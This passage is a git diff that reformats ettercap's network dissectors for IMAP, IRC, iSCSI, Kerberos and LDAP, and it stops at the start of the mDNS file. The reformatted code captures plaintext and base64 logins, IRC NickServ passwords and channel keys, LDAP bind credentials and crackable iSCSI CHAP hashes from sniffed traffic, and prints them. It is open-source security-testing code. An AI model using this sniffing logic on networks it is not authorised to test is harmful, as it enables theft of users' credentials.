dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_imap)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { @@ -219,106 +217,103 @@ FUNC_DECODER(dissector_imap) } SAFE_FREE(ident); - + /* the session is invalid */ if (s->data == NULL) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); return NULL; } - + if (!strcmp(s->data, "AUTH")) { char *user; int i; - + DEBUG_MSG("\tDissector_imap AUTHENTICATE LOGIN USER"); - + /* username is encoded in base64 */ - i = base64decode((const char*)ptr, &user); - + i = base64decode((const char *)ptr, &user); + SAFE_FREE(s->data); /* store the username in the session */ - SAFE_CALLOC(s->data, strlen("AUTH USER ") + i + 1, sizeof(char) ); - + SAFE_CALLOC(s->data, strlen("AUTH USER ") + i + 1, sizeof(char)); + snprintf(s->data, strlen("AUTH USER ") + i + 1, "AUTH USER %s", user); - + SAFE_FREE(user); /* pass is in the next packet */ return NULL; } - + if (!strncmp(s->data, "AUTH USER", 9)) { char *pass; - + DEBUG_MSG("\tDissector_imap AUTHENTICATE LOGIN PASS"); - - //SAFE_CALLOC(pass, strlen((const char*)ptr), sizeof(char)); - + + // SAFE_CALLOC(pass, strlen((const char*)ptr), sizeof(char)); + /* password is encoded in base64 */ base64decode((const char *)ptr, &pass); - + /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data + strlen("AUTH USER ")); PACKET->DISSECTOR.pass = strdup(pass); - + SAFE_FREE(pass); /* destroy the session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); - + /* print the message */ DISSECT_MSG("IMAP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); return NULL; } - + if (!strcmp(s->data, "PLAIN")) { char *cred; char *cred_end; char *p; int i; - + DEBUG_MSG("\tDissector_imap AUTHENTICATE PLAIN USER/PASS"); - + /* password is encoded in base64 */ i = base64decode((const char *)ptr, &cred); p = cred; - cred_end = cred+i; + cred_end = cred + i; if (p > cred_end) { - SAFE_FREE(cred); - dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); - return NULL; + SAFE_FREE(cred); + dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); + return NULL; } /* move to the username right after the first \0 */ - while(*p && p!=cred_end) p++; - if (p!=cred_end) p++; + while (*p && p != cred_end) p++; + if (p != cred_end) p++; /* fill the structure */ PACKET->DISSECTOR.user = strdup(p); /* now find the password right after the first \0 in cred */ - while(*p && p!=cred_end) p++; - if (p!=cred_end) p++; + while (*p && p != cred_end) p++; + if (p != cred_end) p++; PACKET->DISSECTOR.pass = strdup(p); - + SAFE_FREE(cred); /* destroy the session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); - + /* print the message */ DISSECT_MSG("IMAP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); return NULL; } - return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_irc.c b/src/dissectors/ec_irc.c index 28c2f1be3..bafc06355 100644 --- a/src/dissectors/ec_irc.c +++ b/src/dissectors/ec_irc.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector irc -- TCP 6665 6666 6667 6668 6669 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector irc -- TCP 6665 6666 6667 6668 6669 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -56,9 +56,9 @@ FUNC_DECODER(dissector_irc) /* unused variable */ (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; /* skip messages coming from the server */ if (FROM_SERVER("irc", PACKET) || FROM_SERVER("ircs", PACKET)) @@ -67,84 +67,84 @@ FUNC_DECODER(dissector_irc) /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + DEBUG_MSG("IRC --> TCP dissector_irc"); - + /* * authentication method: PASS * * /PASS password - * + * */ - if ( !strncasecmp((const char*)ptr, "PASS ", 5) ) { + if (!strncasecmp((const char *)ptr, "PASS ", 5)) { DEBUG_MSG("\tDissector_irc PASS"); - + ptr += 5; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_irc)); - + /* get the saved nick */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) PACKET->DISSECTOR.user = strdup(s->data); else PACKET->DISSECTOR.user = strdup("unknown"); - + SAFE_FREE(ident); - - PACKET->DISSECTOR.pass = strdup((const char*)ptr); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + + PACKET->DISSECTOR.pass = strdup((const char *)ptr); + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/PASS password"); - + DISSECT_MSG("IRC : %s:%d -> USER: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass, - PACKET->DISSECTOR.info); - + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass, + PACKET->DISSECTOR.info); + return NULL; } - + /* * changing a channel key * * /MODE #channel +k password - * + * */ - if ( !strncasecmp((const char*)ptr, "MODE ", 5) && match_pattern((const char*)ptr + 5, "#* +k *") ) { + if (!strncasecmp((const char *)ptr, "MODE ", 5) && match_pattern((const char *)ptr + 5, "#* +k *")) { DEBUG_MSG("\tDissector_irc MODE"); - + ptr += 5; - + /* fill the structure */ - PACKET->DISSECTOR.user = strdup((const char*)ptr); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.user, ' ')) != NULL ) + PACKET->DISSECTOR.user = strdup((const char *)ptr); + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.user, ' ')) != NULL) *ptr = '\0'; else { SAFE_FREE(PACKET->DISSECTOR.user); return NULL; } - + /* skip the " +k " */ - PACKET->DISSECTOR.pass = strdup((const char*)ptr + 4); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + PACKET->DISSECTOR.pass = strdup((const char *)ptr + 4); + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/MODE #channel +k password"); - + DISSECT_MSG("IRC : %s:%d -> CHANNEL: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass, - PACKET->DISSECTOR.info); - + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass, + PACKET->DISSECTOR.info); + return NULL; } @@ -152,37 +152,37 @@ FUNC_DECODER(dissector_irc) * entering in a channel with a key * * /JOIN #channel password - * + * */ - if ( !strncasecmp((const char*)ptr, "JOIN ", 5) && match_pattern((const char*)ptr + 5, "#* *") ) { + if (!strncasecmp((const char *)ptr, "JOIN ", 5) && match_pattern((const char *)ptr + 5, "#* *")) { DEBUG_MSG("\tDissector_irc JOIN"); - + ptr += 5; - + /* fill the structure */ - PACKET->DISSECTOR.user = strdup((const char*)ptr); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.user, ' ')) != NULL ) + PACKET->DISSECTOR.user = strdup((const char *)ptr); + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.user, ' ')) != NULL) *ptr = '\0'; else { SAFE_FREE(PACKET->DISSECTOR.user); return NULL; } - - PACKET->DISSECTOR.pass = strdup((const char*)ptr + 1); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + + PACKET->DISSECTOR.pass = strdup((const char *)ptr + 1); + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/JOIN #channel password"); - + DISSECT_MSG("IRC : %s:%d -> CHANNEL: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass, - PACKET->DISSECTOR.info); - + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass, + PACKET->DISSECTOR.info); + return NULL; } @@ -190,86 +190,86 @@ FUNC_DECODER(dissector_irc) * identifying to the nickserv * * /msg nickserv identify password - * + * */ - if ( !strncasecmp((const char*)ptr, "PRIVMSG ", 8) && match_pattern((const char*)ptr + 8, "* :identify *\r\n") ) { + if (!strncasecmp((const char *)ptr, "PRIVMSG ", 8) && match_pattern((const char *)ptr + 8, "* :identify *\r\n")) { char *pass; DEBUG_MSG("\tDissector_irc PRIVMSG"); - - if (!(pass = strcasestr((char*)ptr, "identify"))) + + if (!(pass = strcasestr((char *)ptr, "identify"))) return NULL; - + pass += 9; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_irc)); - + /* get the saved nick */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) PACKET->DISSECTOR.user = strdup(s->data); else PACKET->DISSECTOR.user = strdup("unknown"); - + SAFE_FREE(ident); - + PACKET->DISSECTOR.pass = strdup(pass); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/msg nickserv identify password"); - + DISSECT_MSG("IRC : %s:%d -> USER: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass, - PACKET->DISSECTOR.info); - + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass, + PACKET->DISSECTOR.info); + return NULL; } - + /* * identifying to the nickserv * * /nickserv identify password - * + * */ - if ( !strncasecmp((const char*)ptr, "NICKSERV ", 9) || !strncasecmp((const char*)ptr, "NS ", 3) ) { + if (!strncasecmp((const char *)ptr, "NICKSERV ", 9) || !strncasecmp((const char *)ptr, "NS ", 3)) { char *pass; DEBUG_MSG("\tDissector_irc NICKSERV"); - - if (!(pass = strcasestr((const char*)ptr, "identify"))) + + if (!(pass = strcasestr((const char *)ptr, "identify"))) return NULL; - + pass += 9; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_irc)); - + /* get the saved nick */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) PACKET->DISSECTOR.user = strdup(s->data); else PACKET->DISSECTOR.user = strdup("unknown"); - + SAFE_FREE(ident); - + PACKET->DISSECTOR.pass = strdup(pass); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; - - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) + + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/nickserv identify password"); - + DISSECT_MSG("IRC : %s:%d -> USER: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass, - PACKET->DISSECTOR.info); - + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass, + PACKET->DISSECTOR.info); + return NULL; } @@ -277,55 +277,55 @@ FUNC_DECODER(dissector_irc) * identifying to the nickserv * * /identify password - * + * */ - if ( !strncasecmp((const char*)ptr, "IDENTIFY ", 9) ) { + if (!strncasecmp((const char *)ptr, "IDENTIFY ", 9)) { char *pass; DEBUG_MSG("\tDissector_irc IDENTIFY"); - - if (!(pass = strcasestr((const char*)ptr, " "))) + + if (!(pass = strcasestr((const char *)ptr, " "))) return NULL; - + /* adjust the pointer */ - if (*++pass == ':') + if (*++pass == ':') pass += 1; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_irc)); - + /* get the saved nick */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) PACKET->DISSECTOR.user = strdup(s->data); else PACKET->DISSECTOR.user = strdup("unknown"); - + SAFE_FREE(ident); - + PACKET->DISSECTOR.pass = strdup(pass); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\n')) != NULL) *ptr = '\0'; PACKET->DISSECTOR.info = strdup("/identify password"); - + DISSECT_MSG("IRC : %s:%d -> USER: %s PASS: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass, - PACKET->DISSECTOR.info); - + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass, + PACKET->DISSECTOR.info); + return NULL; } /* * register the nick in the session - * list, we need it later when printing + * list, we need it later when printing * passwords. */ /* user is taking a nick */ - if (!strncasecmp((const char*)ptr, "NICK ", 5)) { + if (!strncasecmp((const char *)ptr, "NICK ", 5)) { char *p; char *user; @@ -333,31 +333,31 @@ FUNC_DECODER(dissector_irc) if (*ptr == ':') ptr++; - + /* delete any previous saved nick */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_irc)); /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_irc)); - + /* save the nick */ - s->data = strdup((const char*)ptr); - if ( (p = strchr(s->data, '\r')) != NULL ) + s->data = strdup((const char *)ptr); + if ((p = strchr(s->data, '\r')) != NULL) *p = '\0'; - if ( (p = strchr(s->data, '\n')) != NULL ) + if ((p = strchr(s->data, '\n')) != NULL) *p = '\0'; /* print the user info */ - if ((ptr = (u_char*)strcasestr((const char*)ptr, "USER "))) { - user = strdup((const char*)ptr + 5); - if ( (p = strchr(user, '\r')) != NULL ) + if ((ptr = (u_char *)strcasestr((const char *)ptr, "USER "))) { + user = strdup((const char *)ptr + 5); + if ((p = strchr(user, '\r')) != NULL) *p = '\0'; - if ( (p = strchr(user, '\n')) != NULL ) + if ((p = strchr(user, '\n')) != NULL) *p = '\0'; - + DISSECT_MSG("IRC : %s:%d -> USER: %s (%s)\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - s->data, - user); + ntohs(PACKET->L4.dst), + s->data, + user); SAFE_FREE(user); } /* save the session */ @@ -367,17 +367,15 @@ FUNC_DECODER(dissector_irc) } /* delete the user */ - if (!strncasecmp((const char*)ptr, "QUIT ", 5)) { + if (!strncasecmp((const char *)ptr, "QUIT ", 5)) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_irc)); return NULL; } - + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_iscsi.c b/src/dissectors/ec_iscsi.c index 643de843b..009a34e2f 100644 --- a/src/dissectors/ec_iscsi.c +++ b/src/dissectors/ec_iscsi.c @@ -1,28 +1,28 @@ /* - ettercap -- dissector for iSCSI CHAP authentication -- TCP 860 3260 - - Copyright (C) Dhiru Kholia (dhiru at openwall.com) - - Tested with, - - 1. Dell EqualLogic target and Open-iSCSI initiator on CentOS 6.2 - 2. LIO Target and Open-iSCSI initiator, both on Arch Linux 2012 - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -*/ + * ettercap -- dissector for iSCSI CHAP authentication -- TCP 860 3260 + * + * Copyright (C) Dhiru Kholia (dhiru at openwall.com) + * + * Tested with, + * + * 1. Dell EqualLogic target and Open-iSCSI initiator on CentOS 6.2 + * 2. LIO Target and Open-iSCSI initiator, both on Arch Linux 2012 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * + */ #include #include @@ -59,14 +59,14 @@ static unsigned char *_memmem(unsigned char *haystack, int hlen, char *needle, i return memchr(haystack, needle[0], hlen); case 2: // use 16-bit compares for 2-byte needles for (i = 0; i < hlen - nlen + 1; i++) { - if (*(uint16_t *) (haystack + i) == *(uint16_t *) needle) { + if (*(uint16_t *)(haystack + i) == *(uint16_t *)needle) { return haystack + i; } } break; case 4: // use 32-bit compares for 4-byte needles for (i = 0; i < hlen - nlen + 1; i++) { - if (*(uint32_t *) (haystack + i) == *(uint32_t *) needle) { + if (*(uint32_t *)(haystack + i) == *(uint32_t *)needle) { return haystack + i; } } @@ -108,11 +108,11 @@ FUNC_DECODER(dissector_iscsi) char tmp[MAX_ASCII_ADDR_LEN]; struct iscsi_status *conn_status; - //suppress unused warning + // suppress unused warning (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; /* Packets coming from the server */ if (FROM_SERVER("iscsi", PACKET)) { @@ -126,8 +126,8 @@ FUNC_DECODER(dissector_iscsi) /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { /* search for CHAP ID and Message Challenge */ - char *i = (char*)_memmem(ptr, PACKET->DATA.len, "CHAP_I", 6); - char *c = (char*)_memmem(ptr, PACKET->DATA.len, "CHAP_C", 6); + char *i = (char *)_memmem(ptr, PACKET->DATA.len, "CHAP_I", 6); + char *c = (char *)_memmem(ptr, PACKET->DATA.len, "CHAP_C", 6); if (i && c) { /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_iscsi)); @@ -135,12 +135,12 @@ FUNC_DECODER(dissector_iscsi) /* remember the state (used later) */ SAFE_CALLOC(s->data, 1, sizeof(struct iscsi_status)); - conn_status = (struct iscsi_status *) s->data; + conn_status = (struct iscsi_status *)s->data; conn_status->status = WAIT_RESPONSE; conn_status->id = (u_char)atoi(i + 7); /* CHAP_C is always null-terminated */ - strncpy((char*)conn_status->challenge, c + 9, 48); + strncpy((char *)conn_status->challenge, c + 9, 48); conn_status->challenge[48] = 0; /* save the session */ @@ -152,12 +152,12 @@ FUNC_DECODER(dissector_iscsi) /* Only if we catched the connection from the beginning */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - conn_status = (struct iscsi_status *) s->data; + conn_status = (struct iscsi_status *)s->data; char *n = NULL; char *r = NULL; if (PACKET->DATA.len > 5) { - n = (char*)_memmem(ptr, PACKET->DATA.len, "CHAP_N", 6); - r = (char*)_memmem(ptr, PACKET->DATA.len, "CHAP_R", 6); + n = (char *)_memmem(ptr, PACKET->DATA.len, "CHAP_N", 6); + r = (char *)_memmem(ptr, PACKET->DATA.len, "CHAP_R", 6); } if (conn_status->status == WAIT_RESPONSE && n && r) { @@ -172,7 +172,7 @@ FUNC_DECODER(dissector_iscsi) strncpy(user, n + 7, 64); user[64] = 0; DISSECT_MSG("%s-%s-%d:$chap$%d*%s*%s\n", user, ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), conn_status->id, conn_status->challenge, response); + ntohs(PACKET->L4.dst), conn_status->id, conn_status->challenge, response); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_iscsi)); } } diff --git a/src/dissectors/ec_kerberos.c b/src/dissectors/ec_kerberos.c index e2d70adcb..edec3496e 100644 --- a/src/dissectors/ec_kerberos.c +++ b/src/dissectors/ec_kerberos.c @@ -1,22 +1,22 @@ /* - ettercap -- dissector for Kerberos v5 - TCP 88 / UDP 88 - - Copyright (C) Dhiru Kholia (dhiru at openwall.com) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - + * ettercap -- dissector for Kerberos v5 - TCP 88 / UDP 88 + * + * Copyright (C) Dhiru Kholia (dhiru at openwall.com) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * */ #include @@ -37,38 +37,38 @@ void __init kerberos_init(void) } /* https://cwiki.apache.org/confluence/display/DIRxASN1/Kerberos - - KDC-REQ ::= SEQUENCE { - -- NOTE: first tag is [1], not [0] - pvno [1] INTEGER (5) , - msg-type [2] INTEGER (10 -- AS -- | 12 -- TGS --), - padata [3] SEQUENCE OF PA-DATA OPTIONAL - -- NOTE: not empty --, - req-body [4] KDC-REQ-BODY - } - - KDC-REQ-BODY ::= SEQUENCE { - kdc-options [0] KDCOptions, - cname [1] PrincipalName OPTIONAL - -- Used only in AS-REQ --, - realm [2] Realm - -- Server's realm - -- Also client's in AS-REQ --, - sname [3] PrincipalName OPTIONAL, - from [4] KerberosTime OPTIONAL, - till [5] KerberosTime, - rtime [6] KerberosTime OPTIONAL, - nonce [7] UInt32, - etype [8] SEQUENCE OF Int32 -- EncryptionType - -- in preference order --, - addresses [9] HostAddresses OPTIONAL, - enc-authorization-data [10] EncryptedData OPTIONAL - -- AuthorizationData --, - additional-tickets [11] SEQUENCE OF Ticket OPTIONAL - -- NOTE: not empty - } - - AS-REQ ::= [APPLICATION 10] KDC-REQ */ + * + * KDC-REQ ::= SEQUENCE { + * -- NOTE: first tag is [1], not [0] + * pvno [1] INTEGER (5) , + * msg-type [2] INTEGER (10 -- AS -- | 12 -- TGS --), + * padata [3] SEQUENCE OF PA-DATA OPTIONAL + * -- NOTE: not empty --, + * req-body [4] KDC-REQ-BODY + * } + * + * KDC-REQ-BODY ::= SEQUENCE { + * kdc-options [0] KDCOptions, + * cname [1] PrincipalName OPTIONAL + * -- Used only in AS-REQ --, + * realm [2] Realm + * -- Server's realm + * -- Also client's in AS-REQ --, + * sname [3] PrincipalName OPTIONAL, + * from [4] KerberosTime OPTIONAL, + * till [5] KerberosTime, + * rtime [6] KerberosTime OPTIONAL, + * nonce [7] UInt32, + * etype [8] SEQUENCE OF Int32 -- EncryptionType + * -- in preference order --, + * addresses [9] HostAddresses OPTIONAL, + * enc-authorization-data [10] EncryptedData OPTIONAL + * -- AuthorizationData --, + * additional-tickets [11] SEQUENCE OF Ticket OPTIONAL + * -- NOTE: not empty + * } + * + * AS-REQ ::= [APPLICATION 10] KDC-REQ */ FUNC_DECODER(dissector_kerberos) { diff --git a/src/dissectors/ec_ldap.c b/src/dissectors/ec_ldap.c index 8be9ce9f7..f3da90f61 100644 --- a/src/dissectors/ec_ldap.c +++ b/src/dissectors/ec_ldap.c @@ -1,25 +1,25 @@ /* - ettercap -- dissector ldap -- TCP 389 - - Copyright (C) ALoR & NaGA - - Additional Copyright for this file: LnZ Lorenzo Porro - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -*/ + * ettercap -- dissector ldap -- TCP 389 + * + * Copyright (C) ALoR & NaGA + * + * Additional Copyright for this file: LnZ Lorenzo Porro + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * + */ #include #include @@ -51,22 +51,22 @@ FUNC_DECODER(dissector_ldap) char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* We need at least 15 bytes of data to be interested*/ if (PACKET->DATA.len < 15) return NULL; - + /* Only packets coming from the server */ if (FROM_SERVER("ldap", PACKET) || FROM_SERVER("ldaps", PACKET)) return NULL; /* Message Type */ type = (u_int16)ptr[5]; - - if (type != 0x60 && type != 0x00) + + if (type != 0x60 && type != 0x00) return NULL; /* Quite self-explaining :) */ @@ -84,7 +84,7 @@ FUNC_DECODER(dissector_ldap) PACKET->DISSECTOR.user = strdup("[Anonymous Bind]"); PACKET->DISSECTOR.pass = strdup(""); DISSECT_MSG("LDAP : %s:%d -> Anonymous Bind\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst)); + ntohs(PACKET->L4.dst)); return NULL; } @@ -96,14 +96,13 @@ FUNC_DECODER(dissector_ldap) memcpy(PACKET->DISSECTOR.pass, &ptr[14] + user_len, pass_len); DISSECT_MSG("LDAP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); - + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); + return NULL; -} +} /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_mdns.c b/src/dissectors/ec_mdns.c index a29efedd9..7ceaee937 100644 --- a/src/dissectors/ec_mdns.c +++ b/src/dissectors/ec_mdns.c @@ -1,21 +1,21 @@ /* - ettercap -- dissector for multicast DNS - - This program is free software; you can redistribute it and/or modify - 